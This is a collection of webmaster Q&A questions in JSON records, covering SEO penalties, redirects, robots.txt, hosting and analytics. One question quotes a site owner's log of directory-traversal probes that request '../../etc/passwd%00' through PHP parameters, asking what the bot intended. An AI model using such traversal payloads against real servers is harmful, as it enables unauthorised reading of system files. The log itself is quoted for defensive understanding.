{"id":"50366","title":"Did Google penalize my site due to interlinking backlinks around same company website and blog?","text":"I’m handling two websites in my company and both have more than 18,000 backlinks (I checked it through my GWT) and most of the links are coming from a Blogspot blog. I checked each and every backlink and I found that one particular blog contains most of our links. That blog has been handled by our colleague and he had posted more than 1080 posts. Each and every post contains my website’s link. That blog is related to cricket and mine is about boxing and track and field. At the end of each post my links have been placed by comma separation which looks odd for me because all the posts are related to cricket and mine is about boxing and track and field. He placed anchor texts as _Boxing gloves_ and _Athletic Gear_ in the last line of each post and from that anchor text my website has been getting backlink. After Google Last penguin 2.0 update I found that both of my websites lost ranking on Google. All my main keywords gone to 100th page (before Penguin update they were on first two pages) including _Boxing Gloves_ and _Athletic Gear_. Now my doubt is about the backlinks from that Blogspot blog. Did Google penalize my site because of that backlinks (interlinking around same company website and blog)? Does inbound links from cricket related page to boxing page is a link spam? See this image for more info: "}
{"id":"57755","title":"Duplicate content from a website still indexed by Google","text":"My client used a third-party company that used duplicate link exchanges on their website previously. When my client gave their website to me to maintain it, I developed a different website that doesn't use link exchanges, and actually doesn't contain any duplicate content. Although the website has changed, the duplicate content is still indexed by search engines. I checked this with Google using: site:www.example.com and the results were: www.example.com www.example.com\/links_1 www.example.com\/links_2 www.example.com\/links_3 ...until page 5 on Google, and with same _meta description_ and _meta title_. It's very bad because when I search for **_example_** (the name of website, not using a keyword), not one of the results is _www.example.com_. I think the source of the problem is that Google still has the duplicate content indexed used by the website previously. Is there any method\/way to delete this, or get Google to index the new site?"}
{"id":"28051","title":"URL need to ban at Apache server","text":"I am need to ban this URL to visit my website, but don't know how should I do this? http:\/\/www.skywalkerltd.com\/index.php\/user-account\/pay-per-click\/view\/66 I'm a new user of Cpanel 11 \/ Apache \/ linux Server."}
{"id":"14770","title":"How can I install a module in Plone 4.0.5?","text":"I have an existing website that is old and html. I'd like to import it into Plone, and make it \"Future Proof\" thanks to Plone. I found on the Plone website which modules could help me with it: FunnelWeb, mr.importer and Collective.xdv. I downloaded and extracted all of them, but now I don't know what I should do with these Folders... It's not on the website and neither in the ReadMe File... I'm sorry if it might be a silly question for most of you, but it's too hard for me... ;-) Thanks in advance for your help."}
{"id":"58062","title":"Is it necessary to link to all landing pages from the homepage?","text":"What I am wanting to do is build quite a few landing pages targeting specific keywords from google search. These pages will give a brief explanation of what we do and how we can help them with what they are looking for. Along with that, they will have a signup form. My question is where should these go in the site structure? Should the homepage link to all of them somehow? Or should the homepage link to some 'features' page or 'sitemap' page that then links to all of the landing pages? Or maybe the pages don't need to be linked from the homepage at all and can just be included in the sitemap. I feel that the last option probably isn't the best idea. EDIT: Quite a few is around 50 - 100. I plan on getting uses to the page by targeting niche ketwords and probably some adwords traffic as well. However I don't know if they need to be linked to somewhere in my site."}
{"id":"46712","title":"VS2012 One-Click Web Publish using file hashes instead of timestamps","text":"We have have a small ASP.NET MVC web application that we develop and publish to a remote server using Visual Studio One-Click Web Publishing. We maintain our code in revision control, make edits, and trust one another on our small team to follow publishing guidelines both to test and production. However, when we switch from one to another publisher, the whole site gets republished because timestamps are different, both on the source files (due to SVN functionality) and binaries (pretty much unavoidable), resulting in a lengthier process and downtime. I know there are MSDeploy flags to publish using file hashes instead. Is there a way to enable these for use from the One-Click Publish interaction? (see 'usechecksum' at Web Deploy Operation Settings for information on this flag)"}
{"id":"24255","title":"Impressions for brand keywords is more compared to non-brand?","text":"I have noticed for my campaign that in Webmaster the impression for brand keywords is more compared to that of non-brand keywords. Any specific reason for this? Because the local search volume for brand keyword is less compared to that of non-brand and both my brand & non-brand keywords are ranking on top 5 positions. Can anyone help me?"}
{"id":"24252","title":"IIS 7: Masking real domain","text":"I have a website with 2 languages. **website.local\/fr** and **website.local\/en** How can I redirect: * **myfrweb.com** to **website.local\/fr** and * **myenweb.com** to **website.local\/en** keeping the **myenweb.com** or **myfrweb.com** in the navigation url? Because actually when I redirect myfrweb.com to website.local\/fr, if I'm navigating to myfrweb.com, the url become website.local\/fr."}
{"id":"5801","title":"Amazon web service to get purchase data","text":"Is there a web service (either one of Amazon's own or a third-party) that will let me pull my purchase data from Amazon into my own site? This is strictly for personal use; I only want to get data associated with my own Amazon account. I'm currently working in PHP, so would need a PHP API. **EDIT:** Just to make it clear, I'm looking for my own purchase history, not data from my seller account. I'd also consider a feed of info from my media library section. Given that there's an option to share those items, I'm assuming there's some kind of programmatic hook into it."}
{"id":"68533","title":"Google showing description from iframe on a page","text":"I have facebook login on my page and I recently noted that google search result shows up a fb's warning message in the site description, fb's javascript plugin adds a iframe to the page for FB login which has the content shown in the image inside its body tag. How do I get rid of the waring message on google? "}
{"id":"68536","title":"Changing registration to Private\/ Anonymous with .co.uk domains","text":"I have a domain which I have registered in my own name and address. Is there anyway that I can make this private? I am currently using GoDaddy. I have seen 123-reg offer a private registration when you register a new domain."}
{"id":"1464","title":"Does anyone know how to block Evony?","text":"There are lots of posts on Google's forums about Evony and their shady tactics: http:\/\/www.google.com\/support\/forum\/p\/AdSense\/thread?tid=7c9ef267b8b3c01f&hl=en http:\/\/www.google.com\/support\/forum\/p\/AdSense\/thread?tid=504b2e4035058e1d&hl=en evonyonline.com definitely doesn't work any more. I don't know why Google doesn't stop these monkeys. Does anyone know how to nuke Evony's latest garbage? I have about twenty filters but I am still seeing Evony ads on my site."}
{"id":"28580","title":"How to show Fixture on Google search result","text":"I was searching for some football match fixture when i saw google showing fixtures right on the search result.  That makes me wondering if there is some technology I am missing (like microformat for showing user reviews) **Same goes for event listings.**  So, **what technology they used for this or its just google organic pickup?**"}
{"id":"1466","title":"Is it a bad idea to use multiple analytic packages?","text":"Is it alright to use multiple analytics packages (Google, clicky, mixpanel, etc) at the same time on the same site? Would it be more beneficial to just use one package?"}
{"id":"28584","title":"Keep header across sites","text":"We have a site, which has a main site served by Google Sites and a custom made forum running on a dedicated server. Now we want to use the header from Google Sites also on the forum, so it feels like the same site. I first tried creating an IFrame on the main site and placing the forum inside this IFrame. This looked nice, but I did not find a way to make direct links. The URL always was Open-Org.com no matter which topic on the forum one clicked at. I have thought about simply copying the relevant HTML code, but this means that I have to recopy it every time the header on the main page changes. Is there a nicer way to do such a thing? It must be a problem that many sites needs to solve. If what I am describing is unclear, there are more specific information here."}
{"id":"68064","title":"Multi Regional Webmaster Tools Targeting","text":"We have a multi regional website which uses a two character string after the main domain to define which region's content to show e.g. `http:\/\/www.example.com\/uk\/` is the domain with English content specifically targeted at the UK. There are a few pages which exist on all of the versions of the website (home page, about page, contact page). However much of the content is region specific and the structure differs somewhat depending on which region you are viewing from. What would be the best way to implement hreflang tags based on the fact that the sites aren't set up as multi-language with the same content but are slightly different websites for each targeted region? Also, for some reason each regional version of the website has been set up as a separate site in Webmaster Tools. We're thinking about deleting the existing entries for the website from Webmaster Tools and setting up a new single entry that covers the whole website instead of having one for each region. Could this be detrimental in any way?"}
{"id":"69062","title":"I'm receiving an \"Account Suspended Page\" when trying to accessing my VPS","text":"I have a VPS account and host a handful of sites. Two of these sites I cannot view from specific computers. When I open the sites I get the account suspended page. See screenshot below.  Here is what is odd. I only see it on two of my home computers. I also have a laptop at home that doesn't show it. If I look on my iPhone or iPad I do not see it. All of these devices are on the same IP. So that makes it extra weird. If I use a proxy I can in fact see the sites appear to be OK and are up online. I've cleared my cache multiple times, even did a DNS flush and nothing. So I'm wondering, why in the heck can I not view on my 2 specific computers? Has anyone else experienced something like this before and know how to solve it?"}
{"id":"31186","title":"Is an image of a stripe considered copyrighted?","text":"I have an image that I found on another site. It's just a one pixle wide stripe, and I'm wondering if it's protected by copyright. "}
{"id":"4234","title":"Should i redirect to rename URI?","text":"Lets take this site, the path is \/questions\/Question-ID\/title If a user writes the below it still works. On my site I was wondering if i should redirect the to the new url or let it be? what error code should i use? 302? 303? \/questions\/Question-ID"}
{"id":"4233","title":"Disqus integration in website.. what is wrong?","text":"I try to embed a disqus forum in a website I created. I used the exact code and instructions they give on the installation instructions. I just don't get it. Not much on Google either. Is something wrong in the code? Should I change anything? <!DOCTYPE HTML> <html> <head> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\"> <link rel=\"shortcut icon\" href=\"..\/favicon.ico\"> <title>Little Louie | Hennis & Blaisse Lovers Productions<\/title> <META NAME=\"keywords\" CONTENT=\"some,tags\"> <link href=\"..\/style2.css\" rel=\"stylesheet\" type=\"text\/css\"> <\/head> <body> <p><b>Some text<\/p> <p> <div id=\"disqus_thread\"><\/div> <script type=\"text\/javascript\"> (function() { var dsq = document.createElement('script'); dsq.type = 'text\/javascript'; dsq.async = true; dsq.src = 'http:\/\/littelouie.disqus.com\/embed.js'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); })(); <\/script> <noscript>Please enable JavaScript to view the <a href=\"http:\/\/disqus.com\/?ref_noscript=littelouie\">comments powered by Disqus.<\/a><\/noscript> <a href=\"http:\/\/disqus.com\" class=\"dsq-brlink\">blog comments powered by <span class=\"logo-disqus\">Disqus<\/span><\/a> <\/p> <p> <script type=\"text\/javascript\"> var disqus_shortname = 'littelouie'; (function () { var s = document.createElement('script'); s.async = true; s.src = 'http:\/\/disqus.com\/forums\/littelouie\/count.js'; (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s); }()); <\/script> <\/p> <\/body> <\/html>"}
{"id":"54986","title":"Is it true that quickly closing a webpage opened from a search engine result can hurt the site's ranking?","text":"My web designer recently told me that I need to be careful not to Google for my business' website, click on its search result link, then _quickly_ close the page (or click back) too many times. He says \"Google knows\" that I didn't stay on the page, and could penalize my site for having a high bounce rate if it happens too much. Apparently, it could look like the behavior of a visitor who was not interested in what they found (hence the supposed detrimental effect on the site's search ranking). This sounds hard to believe to me because I would not have thought any information is transmitted which tells Google (or anyone, for that matter) whether or not a website is still open in a browser (in my case Firefox v25.0). Could there possibly be any truth to this? If not, why might he have come to this conclusion? Is there some click- tracking or similar technology employed by search engines which does something similar? Looking forward to hearing everyone's thoughts."}
{"id":"67619","title":"Did I use the proper way to remove pages from Google Webmaster Tools forever?","text":"I have many pages from one year ago that were deleted and are returning a `404` error code, but two week ago after I cleared the content of my _robots.txt_ , the errors in my Google Webmaster Tools reports are still showing them as _not found_. After I read this Google support document, today I inserted these new meta tags for `404` error pages: <meta name=\"robots\" content=\"noindex\"> <meta name=\"googlebot\" content=\"noindex\"> and after added that, I decided to change the header from: `header(\"HTTP\/1.0 404 Not Found\");` to `header(\"HTTP\/1.0 410 Gone\");` Do you think these new changes are right?"}
{"id":"5599","title":"Why has mysql stopped working on localhost and how do I fix it?","text":"I asked this at superuser but I'm having no joy there. I was really hoping someone could help because I'm stumped. I use a MacBook Pro running Mac OS X 10.6.4 For a few years I have used MAMP to test websites locally but suddenly and for no apparent reason when I start the MAMP servers the mysql light stays red. I'm not very clued up on how to actually run a server which is the main reason I use MAMP. I also have Sequel Pro installed for administering my databases. When I try to connect to mysql in Sequel Pro through a socket connection it says > The socket file could not be found in any common location. Please supply the > correct socket location. and then > MySQL said: Can't connect to local MySQL server through socket > 'tmp\/mysql.sock' (2) I _can_ connect and access all my databases if I connect with host 127.0.0.1 but I used to just connect through the socket and all was fine. Also all my testing sites which I hosted locally are no longer being processed by PHP. I have no idea why this suddenly stopped working and any light someone could shine on the matter would be very much appreciated. A solution even more so. Thanks."}
{"id":"38208","title":"Analysing traffic sources in Analytics for Magento sales","text":"Hi I have a Magento installation linked with a Google Analytics account. It works very well in that I can see conversions, I can see the products that are selling directly from analytics and I can get an overview of traffic sources for those sales. What I can't work out how to track\/see is what keywords are being used by the customers that are completing sales. Can anybody let me know how this data can be gathered or if it's even possible? (is this possibly a privacy issue?)"}
{"id":"13694","title":"301 Redirect HTML Pages","text":"In a web debugger, the html of a 301 redirect page shows up as: <!DOCTYPE HTML PUBLIC \"-\/\/IETF\/\/DTD HTML 2.0\/\/EN\"> <html><head> <title>301 Moved Permanently<\/title> <\/head><body> <h1>Moved Permanently<\/h1> <p>The document has moved <a href=\"http:\/\/www.website.com\/webpage.htm\">here<\/a>.<\/p> <\/body><\/html> I'm having to redirect html pages without server support. If I replace the pages html with the code above, will that work the same as writing 301 redirects in .htaccess on apache? I looked this up on google, but the sites talking about 301 redirects didn't cover this option for redirecting html pages."}
{"id":"31985","title":"Trouble with images in phppgAdmin on my Nginx VPS","text":"this is my first time using Nginx or phppgAdmin, and after placing the phppgadmin folder into my public_html folder I find that the resources for the phppgadmin page are broken, images and css specifically. phppgAdmin runs and works with postgresql\/php on my system, but without images or css it becomes difficult to use."}
{"id":"13690","title":"Moving Website From CMS","text":"I have recently had a website created for me by an IT company. The problem is that i am being charged extortant amounts of money to change minor things. They have charged me to a create a small CMS system, but it is overly simple and gives me very little control. I want to move my website to a new host so that I have full control of it. Can someone please explain the process i would have to go through in order to achieve this? NB: I have experience working with SQL, phpMyAdmin, HTML, CSS etc. Any and all help is much appreciated.. :)"}
{"id":"35350","title":"How similar can 2 pages be before Google de-indexes one of them?","text":"Using Similar Page Checker (http:\/\/www.webconfs.com\/similar-page-checker.php), you can check if a web page is similar to other one. Is there any rule of thumb how high a percentage similarity is accepted by Google? That is, when Google consider that a page is too similar to another one and will not index it. I have two pages on the same domain where \"how to order\" information is 70% similar."}
{"id":"312","title":"Is there any way to invalidate all memcache entries that begin with \"User*\"?","text":"I recently made a change to my User class (which is memcached); is there any way I can invalidate all entries whose key begins with `User` without invalidating the entire cache? If not are there any workarounds? I would rather not delete everything."}
{"id":"29568","title":"How important is it to be W3C complaint?","text":"> **Possible Duplicate:** > HTML validation: is it worth it? How important is to be W3C complaint. Currently I have 27 errors reported by W3C validator. Is that ok or I need to reduce the error count?"}
{"id":"13699","title":"What's the best way to implement texting into my webapp?","text":"I'd like to allow users to text to a certian number in order to complete actions on their accounts. An example would be update name with Captain Basically what I'm asking is about is a service that can receive texts and has an API so that I can use them for my site... Thanks for any help!"}
{"id":"11202","title":"Website not showing in Google search","text":"I have a site hosted at Brinkster and all keywords are there, but I still can't get it to show up in a Google search. I thought if I searched for it by domain name, it would show up in the Google search results. Can anyone explain why it's not showing up?"}
{"id":"59064","title":"Transfer ownership of abandoned Google Analytics account","text":"The web team of a new client was fully responsible for the client's Google Analytics account, meaning the client didn't keep records of the account. Now that that web team has gone under we are trying to retrieve the account. Is it possible to request an account to be transferred to another owner, or alternatively have a full-privileged user added to the account? What steps should I take to resolve this issue with Google?"}
{"id":"43352","title":"php wallet system","text":"I'm looking to set up a wallet system to run in a web app. The sort of thing that Adwords has i.e. you deposit money and then you can use money from you account to purchase items inside the web app. I've looked traditional payment processors and merchant banks, but they said I needed a wallet system. Does any one know of any and what's involved in setting them up? The web app is in PHP so it would be helpful if the wallet system was too."}
{"id":"44657","title":"How do webmasters store and keep track of their passwords","text":"I'm developing a site for the first time, and I'm trying to work out the **best way to store and track all the accounts\/passwords** e.g. Server passwords, ftp passwords, API passwords (FB, Google, Twitter), Email account passwords. There's a lot! If any one of these is compromised it could do a lot of damage. Also, I use public key authentication over SSH for connecting to my server using putty, but sadly, i actually fail to understand how this is safer than using default root login with a good password. For the private key is stored on my local machine and a password is not (hopefully not written down in plain text elsewhere). So what if my key was stolen? Would the thief be able to use that key to log in to the server and wreak havoc?"}
{"id":"43354","title":"How can I prevent Googlebot from indexing web service URL's?","text":"I have a problem with googlebot and bingbot accessing our web service. We have a search application created in aspx that is integrated into a drupal website. Users perform searches based on postal code or city through drupal and search query is outputted through aspx. The problem is that google\/bing keeps indexing the aspx returned query pages and then we receive 404 errors. How can I prevent googlebot from indexing the web service. We are on IIS 7.5. Do we setup a rule on the server? I have tried blocking it in robots.txt but am unsure if I have the correct syntax. Disallow: \/*? User-agent: Googlebot Noindex: \/office\/default.aspx Noindex: \/?keyword Noindex: \/electronics\/locationdetails.aspx? Noindex: \/electronics\/communitydetails.aspx? Noindex: \/electronics\/Communitylist.aspx? Noindex: \/office\/communitysearch.aspx? Noindex: \/Electronics\/Communitylist.aspx? Noindex: \/Office\/LocationDetails.aspx?"}
{"id":"19072","title":"Is it Okay to add Keyword TAGS at the beginning or endiing of the post?","text":"This question is bugging me from last few days.. I have seen many sites have 'TAGS' or 'INCOMING SEARCH ITEMS' and they have big list of keywords under it. Check out this example:  One of my blog was recently de-indexed may be because i had used long titles. Can some one tell me if its okay to use such keywords in the beginning of post ? Is it allowed by Google search engine guidelines? is there any chance that the blog will get de indexd or penalized ?"}
{"id":"32950","title":"Will using the production domain for testing\/developing affect SERP rankings?","text":"I have been working on a blog via wordpress that was setup through my hosting account for a while now. I currently have a plugin called, \"Restricted Site Access 4.0 for WordPress\" that displays a restriction message to visitors that prevents them from seeing the actual site. I plan to deactive the plugin upon finishing but was wondering if this affects the SEO or SERP?"}
{"id":"32957","title":"Is there a disqus-like comment system that does not load google analytics?","text":"I am not using google analytics on my blog out of respect for user privacy (I don't care to make my blog a data-collection tool for Google). I included Disqus (yes I know they track as well). Politics & my reasons notwithstanding, **Is there a Disqus-like comment system that doesn't load google analytics?**"}
{"id":"55698","title":"Nginx Reverse Proxy for Tumblr","text":"I'm currently trying to set up a reverse proxy redirecting a domain to a tumblr blog. I've set up NGinx using this Gist. My nginx configuration looks like so: upstream tumblr { server 66.6.44.4; } server { listen 80; server_name mydomain.com; access_log \/var\/log\/nginx\/mydomain.access.log; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header REMOTE-HOST $remote_addr; proxy_redirect off; proxy_max_temp_file_size 0; location \/ { proxy_pass http:\/\/tumblr; break; } } server { listen 80; server_name www.mydomain.com; rewrite ^\/(.*) http:\/\/mydomain.com\/$1 permanent; } Unfortunately, this doesn't work. When I attempt to connect to my blog via _mydomain.com_ , I get the \"there's nothing here\" page on Tumblr. How can I properly make my reverse proxy work with Tumblr? **Things I've tried** : * I cannot add _mydomain.com_ as a custom domain because the A record points to the IP I have Nginx on and not the required Tumblr domain ( _66.6.44.4_ ). * Changing the upstream server to myblog.tumblr.com does absolutely nothing."}
{"id":"61725","title":"How to set the Content-Type for SVG files parsed by PHP","text":"I currently use the following Apache httpd conf: <FilesMatch \"\\.svg$\"> SetHandler application\/x-httpd-php <\/FilesMatch> AddType image\/svg+xml .svg What I'm trying to achieve: * Parsing the PHP scripts in my SVG files * Serving my SVG files with the `image\/svg+xml` MIME type However, the AddType seems to be ignored now that I've set it to use the alternative handler for my SVG files. They're now served as `text\/html`. How can I make the httpd parse the PHP in my SVG files while preserving its `image\/svg+xml` type? I currently include a `header(\"Content-type: image\/svg+xml\");` call in my SVG file to solve this, although I'd rather have a global way of doing this instead of having to insert this into all of my SVG files. * CentOS 6.5 * Apache 2.2.15 * PHP 5.3.3"}
{"id":"27783","title":"How can I prevent my site from being branded a \"content farm?\"","text":"I'm building a small social Q&A site. Another Q&A site that I use was recently branded by Google as a content farm and removed from Google results. I know what Wikipedia says is the definition of a content farm (low quality paid articles and spammy text across the page to catch search engines). That other site I use doesn't do those things, so there must be more to it than that. I want to make sure I don't do anything that causes Google to think my Q&A site is a content farm. What should I do, or avoid doing in designing my site layout?"}
{"id":"47763","title":"GoogleBot can't reach my site","text":"For some reason, the other day, out of nowhere, Google Webmaster Tools started showing all these errors while crawling my site, saying that it couldn't reach my pages. I checked my _robots.txt_ and talked to my hosting provider and everything checks out, so I'm not sure what's wrong."}
{"id":"25324","title":"Low \"time on site\" and high bounce-rate in Japan","text":"I'm seeing a substantially low \"time on site\" and high bounce rate from visitors coming from Japan. Comparing to other states, even in languages I don't speak, the stats are still dramatically worse. So I assume there's something specific to that nation, that I should understand in order to make their experience better. The content they are seeing is in Japanese, and I've also translated the head- lines, which to my surprise didn't make stats look better. The site doesn't have a mobile version, so I assume that might be part of the problem. Wanted to hear from your experience what other reasons might there be that are specific for Japan. UPDATE: The content itself was in Japanese all the time, that's the reason it attracts users from Japan. The head-lines were in English, so I only changed them."}
{"id":"60896","title":"SSL not working on home page","text":"Recently set up a server for a client and installed a Comodo Positive SSL certificate. In firefox everywhere on the website I can see the padlock icon which shows the Comodo verification, except the home page. Click on any internal link and the padlock shows up. Just not on the home page which continues to say \"Website does not provide identity information\". The website link is here: https:\/\/justcoolgear.com Is there a configuration problem with my SSL installation or Apache config? How can I fix this so the home page validates as secure?"}
{"id":"60234","title":"Should I block agent Wget\/1.12 (linux-gnu)?","text":"Is that a scraper? It tried accessing my site which is currently password protected for testing purposes. shall I block it?"}
{"id":"64756","title":"How to build a list from Postfix maillog","text":"I want to build a list from maillog, `maillog.x` containing something like Date, Sender's email, Recipient's Email and subject of the message filtering output emails and output domain. I've read about importing from spreadsheet program a csv file. The issue is I have to add field separators in log file. I couldn't figure out how to customize that. How can I do that, the list and the separator? This is an example of sending mail log Jun 11 15:24:58 host postfix\/cleanup[19060]: F41C660D98A0: warning: header Subject: TESTING SUBJECT from unknown[XXX.XXX.XXX.XXX]; from=sender@sender.com> to=recipient@recipient.com> proto=ESMTP helo=<[192.168.1.91]> Jun 11 15:25:01 host postfix\/smtp[19062]: F41C660D98A0: to=<me@me.com>, relay=mx-rl.com[xxx.xxx.xxx.xxx]:25, delay=3.4, delays=0.66\/0.01\/0.86\/1.9, dsn=2.0.0, status=sent (250 <538E30D9000A1DD8> Mail accepted) The list would contain the subject, from, and to, filtering by `to = ...@recipient.com`"}
{"id":"47764","title":"Is it a good idea to use Normalize.CSS in every website?","text":"For tablet and other mobile devices, new browsers are popping out like mushrooms, and it's practically becoming very difficult to test the rendering of every website we design on all such browsers. Is it a good idea to use Normalize.CSS on every website?"}
{"id":"57379","title":"Does the source of a visitor affect the revenue for Google AdSense ads?","text":"I'm wondering if two ad clicks are equally valued, if one of them found the site from Google, and the other came from a referral link, would that affect the revenue paid? How about with a direct visit?"}
{"id":"23411","title":"Files I should have on every website","text":"I would like to have a list of files that should exist on every website. The idea is to please most browsers and bots and get down with the number of 404 messages in the logs. So far I have the following files: * `\/favicon.ico` * `\/robots.txt` * `\/sitemap.xml` * `\/apple-touch-icon-72x72-precomposed.png` * `\/apple-touch-icon-72x72.png` * `\/apple-touch-icon-precomposed.png` * `\/apple-touch-icon.png` Are there other files that get requested often and should be on every website?"}
{"id":"23941","title":"Moving Feedburner to a new domain","text":"I have a Wordpress blog (running Feedsmith plugin) that uses Feedburner for email and RSS subscribers. Currently this blog is located at `http:\/\/www.myblog.com`. I will be moving this Wordpress blog to a new domain as follows `http:\/\/newdomain.com\/blog` I wonder if anyone could give me a suggestion on how to edit my Feedburner settings to avoid losing subscirbers. I've read that in the **\"Edit Feed Details...\"** panel of Feedburner one should change: **Feed Title** : New Blog Title **Original Feed** : `http:\/\/newdomain.com\/blog\/feed` **Feed Address** : **_what should this be changed to?_** Any suggestions are welcome. Thanks."}
{"id":"59053","title":"What was this hack-bot trying to achieve via directory traversal?","text":"I was walking through my server logs and the following kinda stunned me: ACCESS ERROR 404 from IP 62.112.152.161: Path: \/index.php?page=weblog&env=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd%00 ACCESS ERROR 404 from IP 62.112.152.161: Path: \/download.php?dlfilename=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd%00 ACCESS ERROR 404 from IP 62.112.152.161: Path: \/download.php?filename=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd%00 ACCESS ERROR 404 from IP 62.112.152.161: Path: \/agb.php?lang=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd%00 ACCESS ERROR 404 from IP 62.112.152.161: Path: \/angemeldet.php?lang=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd%00 There were lot's more variations, always triyng to get the same file. They wouldn't succeed even if there was some \"download.php\"*, but I'm curious what would it do if they did. Also, I wonder if there's something I can do against this BOT in more global scope, to help other webmasters who might have their site vulnerable against such attack. Unfortunatelly, HTTP headers were not registered. *I'm running on virtual server where PHP's top dir is the website's root."}
{"id":"51184","title":"How to block certain URL from robots.txt file?","text":"This is simple question but also I have a confusion. Below is the code which I wrote in my _robots.txt_ : User-Agent: * Disallow: \/phpmyadmin\/ Disallow: \/login\/ Disallow: \/newsletter\/ Disallow: \/articlesubmission\/ Allow: \/ Sitemap: http:\/\/www.example.com\/sitemap.xml I want all bots to follow my site but they should not follow these URLs: http:\/\/www.example.com\/phpmyadmin\/..... http:\/\/www.example.com\/login\/..... http:\/\/www.example.com\/newsletter\/..... http:\/\/www.example.com\/articlesubmission\/..... My doubt: **Is my above _robots.txt_ code is correct?** I followed this code from StackOverflow robots.txt."}
{"id":"6930","title":"Which ISPs has the cheapest transfer?","text":"There are a lot websites where you upload file and many people download it. I guess these servers are located in ISP where the transfer is very cheap, I guess Europe, because US has expensive transfer data. I mean sites like 4shared, yousendit, filestube, fileserve, ... and other \"movie repository\" sites :P Where are they usually hosted to get cheaper transfer data ? Thank you"}
{"id":"19840","title":"My website is reported to belong to \"Japan\" on Alexa's ranking","text":"I'm the owner of Thought Results, which is a newbie I just started. I'm an Iranian guy. But when I see Alexa's ranking, it says that my website belongs to Japan. Also Visualize Traffic reports the same thing. You can check at: http:\/\/www.alexa.com\/search?q=thoughtresults.com http:\/\/visualizetraffic.com\/update.php?q=thoughtresults.com In spite of this, I'm still able to login to almost every place, including database, control panel, domain tools, etc. What does this mean? Am I hacked by somebody? Has somebody stolen my domain name?"}
{"id":"27258","title":"Book \/ resource suggestions for learning web development? Where to start?","text":"OK, so there's so much to know that I don't even know where to start. I'm hoping you can help me come up with a list of books to get started with. I'm interested in web applications (for example, building a custom wordpress theme or plugin), but I also want to be well-rounded and have a decent technical grasp of the web (databases, servers, networking). I'm guessing javascript and php are languages to learn first? I don't mind dry technical reading."}
{"id":"22092","title":"Symfony project on multiple servers","text":"How can I use Symfony across multiple servers? I have a high-load project and I want to move parts of it(for example: image handlers, video handlers, registration) to other servers."}
{"id":"31842","title":"Is it a legal requirement to display company registration details?","text":"Is it a legal requirement to display company registration details (Office, country and reg no etc) on a UK Based corporate website? I know that E-Commerce websites do, under the distance selling regulations, however the site I'm working on is not e-commerce, just a corporate website."}
{"id":"33724","title":"Flat vs. Hierarchical Tree Structure","text":"I'm a developer in the middle of the development of a medium-sized website. A requirement that we just received from the resident SEO person on the project is for all the URLs on the site be just off the root (e.g. \/product-name, \/small-keywords-separated-by-hyphens). Here is an example (one of a few, both I think this is the one that would potentially favor his viewpoint the most): 1. Solutions http:\/\/site.com\/solutions\/ * 1.1 Showcase http:\/\/site.com\/showcase\/ * 1.2 Healthcare http:\/\/site.com\/healthcare\/ * 1.3 Education http:\/\/site.com\/education\/ * 1.4 Residential http:\/\/site.com\/residential\/ * 1.5 Industrial http:\/\/site.com\/industrial\/ To be clear, I'm advocating a structure like: \/solutions\/showcase, \/solutions\/healthcare\/, etc. To me, there are clearly defined sections of the site- there are various parts of content which seem to deserve their own place in the structure of the site. Here were his points: > Decreased keyword density for the words being targeted in the URL, the > longer the URL the less emphasis is being placed on the keywords being > targeted in the URL > > Decreased emphasis on the importance of the page from a search engine > standpoint, the further the page rests off of the root the less importance > is attributed to that page > > Decreased adaptability over time, for example when time comes to redesign > the site again in the future, suppose the navigation changes, by > incorporating the folder you have reduced your ability to re-use the URLs on > the new site and minimize any slippage in the search results > > Decreased usability for advertising the URL, suppose [company] wants to run > a print campaign on a particular [product], the shorter URL would be more > user friendly and more likely to lead to a conversion The points I made in response were around user experience and based off this document from Google. Personally I've never seen the structure he's proposing. Is this type of thing best practice for SEO? Thanks for your time."}
{"id":"30882","title":"Is there a modern (eg NoSQL) web analytics solution based on log files?","text":"I have been using **Awstats** for many years to process my log files. But I am missing many possibilities (like cross-domain reports) and I hate being stuck with extra fields I created years ago. Anyway, I am not going to continue to use this script. Is there a modern apache logs analytics solution based on modern storage technologies like NoSQL or at least somehow ready to cope with large datasets efficiently? I am primarily looking for something that generates nice sortable and searchable outputs with the focus on web analytics, before having to write my own frontends. (so **graylog2** is not an option) This question is purely about log file based solutions."}
{"id":"2296","title":"How to using ajax for voting script","text":"I'm trying to set up some voting logic on my site, and have the vote result update without refreshing the site. I did some research and AJAX seems to be the way to go, but I can't find a good tutorial on it. I'm doing the update to Mysql $query = \"update RR_upload set vote = vote\".$vote.\" where id = '\".$var1.\"'\"; mysql_query($query, $connection) or die (mysql_error()); How do I make it so AJAX updates the content of the site after running the vote update?"}
{"id":"19695","title":"What are the pros of installing multiple user behavior tracking frameworks on the same website?","text":"What are the pros of installing G * Google Analytics * Webtrends * Quantcast .. and several other user behavior tracking frameworks _all in same website?_ Don't they give same set of results? I just know installing all of them will slow down the sites, but why people keep doing this?"}
{"id":"55953","title":"Videos from Youtube\/Vimeo not displaying in iframes","text":"I was giving a webinar about HTML today in Brackets. When showing how to use iframes, all my students managed to insert Google Maps using iframes but no one was able to make the YouTube and Vimeo iframes work (we used the code provided by the services themselves in the embed sections). It worked for me, no hassle (in Brackets, just like them). From what I was told (we had to do without screen sharing this time unfortunately), Live Preview (Brackets browser) displayed the area but with a sad face icon instead of video. I thought it might be due to the Brackets browser but I had a participant working in NotePad++ who was saving to desktop and opening in a regular browser, it didn't work for them either. My students were mostly teachers, probably assisting the webinar while in their institutions. I raised the hypothesis that possibly videos were filtered in their workplace but someone said they can normally use YouTube (directly that is). I checked the code for one of the iframes and everything seemed fine. One of my participants eventually got a workaround, by adding **https** to the URL like so: <iframe src=\"https:\/\/player.vimeo.com\/video\/80476161\" ... This is the trick my students use to bypass the school filters to access Facebook. Could that confirm my doubts about iframes getting blocked by something in the environment of my participants? What do you think is going wrong here?"}
